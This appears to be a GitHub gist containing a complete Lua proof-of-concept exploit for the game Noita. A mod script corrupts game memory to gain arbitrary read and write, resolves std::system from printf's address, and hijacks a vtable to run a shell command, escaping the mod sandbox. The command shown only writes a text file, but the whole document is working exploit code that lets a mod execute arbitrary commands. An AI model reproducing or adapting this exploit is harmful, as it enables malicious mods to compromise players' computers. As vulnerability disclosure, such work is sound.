Created
August 26, 2024 18:42
-
-
Save dextercd/cc39bde0cdf5dd711cb3c37821807f1b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local ModTextFileSetContent = ModTextFileSetContent | |
local inert_entity = "<Entity/>" | |
ModTextFileSetContent("data/entities/player.xml", inert_entity) | |
ModTextFileSetContent("data/scripts/biome_map.lua", "--") | |
local new_file_index = 0 | |
function new_file_name() | |
new_file_index = new_file_index + 1 | |
return "data/" .. new_file_index .. ".xml" | |
end | |
function as_binary(number) | |
local sign = bit.band(0x80000000, number) == 0 and 1 or - 1 | |
local exp_ = bit.rshift(bit.band(0x7f800000, number), 23) | |
local sig = bit.band(0x7fffff, number) | |
local leading = exp_ == 0 and 0 or 1 | |
local exponent = exp_ == 0 and -126 or exp_ - 127 | |
return sign * (leading + sig / 0x800000) * 2^exponent | |
end | |
function number_to_le_str(nr) | |
return string.char( | |
bit.band(bit.rshift(nr, 0), 0xff), | |
bit.band(bit.rshift(nr, 8), 0xff), | |
bit.band(bit.rshift(nr, 16), 0xff), | |
bit.band(bit.rshift(nr, 24), 0xff) | |
) | |
end | |
function get_lua_addr(object) | |
return tonumber(("%p"):format(object), 16) | |
end | |
function str_addr(str) | |
return get_lua_addr(str) + 16 | |
end | |
function make_biomes_data() | |
biome_a = table.concat({ | |
number_to_le_str(0x00fe7bfc), | |
string.rep("\x00", 0x4), | |
-- name | |
string.rep("\xff", 4), string.rep("\x00", 12), | |
number_to_le_str(4), -- length | |
number_to_le_str(16), -- capacity | |
string.rep("\x00", 0x2b8), | |
-- mDebugFilename | |
"a", string.rep("\x00", 15), | |
number_to_le_str(1), | |
number_to_le_str(15), | |
}) | |
-- biome_b points into biome_a so we can write into it and make biome_a | |
-- reference other memory locations. | |
biome_b = table.concat({ | |
number_to_le_str(0x00fe7bfc), | |
string.rep("\x00", 0x4), | |
-- name | |
number_to_le_str(str_addr(biome_a) + 8), string.rep("\x00", 12), | |
number_to_le_str(0), -- length | |
number_to_le_str(16), -- capacity | |
string.rep("\x00", 0x2b8), | |
-- mDebugFilename | |
"b", string.rep("\x00", 15), | |
number_to_le_str(1), | |
number_to_le_str(15), | |
}) | |
pbiome_array = table.concat({ | |
number_to_le_str(str_addr(biome_a)), | |
number_to_le_str(str_addr(biome_b)), | |
}) | |
pbiome_vec_start = str_addr(pbiome_array) | |
return table.concat({ | |
string.rep("\x00", 0x94), | |
number_to_le_str(pbiome_vec_start), | |
number_to_le_str(pbiome_vec_start + #pbiome_array), | |
number_to_le_str(pbiome_vec_start + #pbiome_array), | |
}) | |
end | |
function make_world_data() | |
biomes_data = make_biomes_data() | |
return table.concat({ | |
string.rep("\x00", 0x48), | |
number_to_le_str(str_addr(biomes_data)), | |
}) | |
end | |
function fake_gg_template(i) | |
world_data = make_world_data() | |
return table.concat({ | |
string.rep("\x00", 0xc), | |
number_to_le_str(str_addr(world_data)), | |
string.rep("\x00", 0x200), | |
tostring(i), | |
}) | |
end | |
function fake_gg() | |
local ws = EntityGetFirstComponent(GameGetWorldStateEntity(), "WorldStateComponent") | |
local i = 0 | |
while true do | |
local fg = fake_gg_template(i) | |
local encoded_addr = as_binary(str_addr(fg)) | |
-- Game stores max_distance*max_distance in the target memory location, | |
-- so we need to get the square root of the encoded address and use | |
-- that. To account for floating point imprecision we check if the root | |
-- can be converted back to the exact target value. | |
-- Convert Lua double to float for more accurate check here | |
ComponentSetValue2(ws, "fog", math.sqrt(encoded_addr)) | |
local root_addr = ComponentGetValue2(ws, "fog") | |
if root_addr^2 == encoded_addr then | |
-- Found working value | |
return fg, root_addr | |
end | |
i = i + 1 | |
end | |
end | |
function OnPlayerSpawned() | |
fg, fg_addr = fake_gg() | |
-- Looks to have this initial value after mod initialisation completes | |
local next_idx = 772 | |
-- GG is at this idx | |
local GG_idx = 4786 | |
local ws = EntityGetFirstComponent(GameGetWorldStateEntity(), "WorldStateComponent") | |
ComponentSetValue(ws, "time", "0") | |
while next_idx ~= GG_idx do | |
f = new_file_name() | |
ModTextFileSetContent(f, inert_entity) | |
EntityLoadCameraBound(f, 0, 0) | |
next_idx = next_idx + 1 | |
end | |
f = new_file_name() | |
ModTextFileSetContent(f, inert_entity) | |
e = EntityLoad(f) | |
EntityAddComponent2(e, "CameraBoundComponent", { | |
distance = fg_addr, | |
distance_border = 0, | |
}) | |
next_idx = next_idx + 1 | |
-- We now have two biomes. Biome a's name field can be used to read/write to | |
-- a memory address specified by Biome b's name. | |
function read_int(addr) | |
BiomeSetValue("b", "name", number_to_le_str(addr)) | |
bytes = BiomeGetValue("a", "name") | |
local value = 0 | |
for i=1,math.min(#bytes, 4) do | |
value = value + string.byte(bytes, i) * math.pow(256, i - 1) | |
end | |
return value | |
end | |
function write_int(addr, value) | |
BiomeSetValue("b", "name", number_to_le_str(addr)) | |
BiomeSetValue("a", "name", number_to_le_str(value)) | |
end | |
-- Find the address of printf in msvcr120.dll | |
-- std::system is a certain distance away from this function. | |
printf_addr = read_int(0x00f05468) | |
system_addr = printf_addr - 0x2717 | |
-- Fake vtable that we put in the world state component | |
world_state_vtable = table.concat({ | |
string.rep("\x00", 15 * 4), | |
number_to_le_str(system_addr), | |
}) | |
world_state_comp_addr = read_int(0x01202f90) | |
write_int(world_state_comp_addr, str_addr(world_state_vtable)) | |
-- This function calls into the virtual function we changed to std::system. | |
-- Leave an ominous text file in the Noita directory. | |
ComponentObjectSetValue2(ws, "echo Hi>dex.txt", "", "") | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment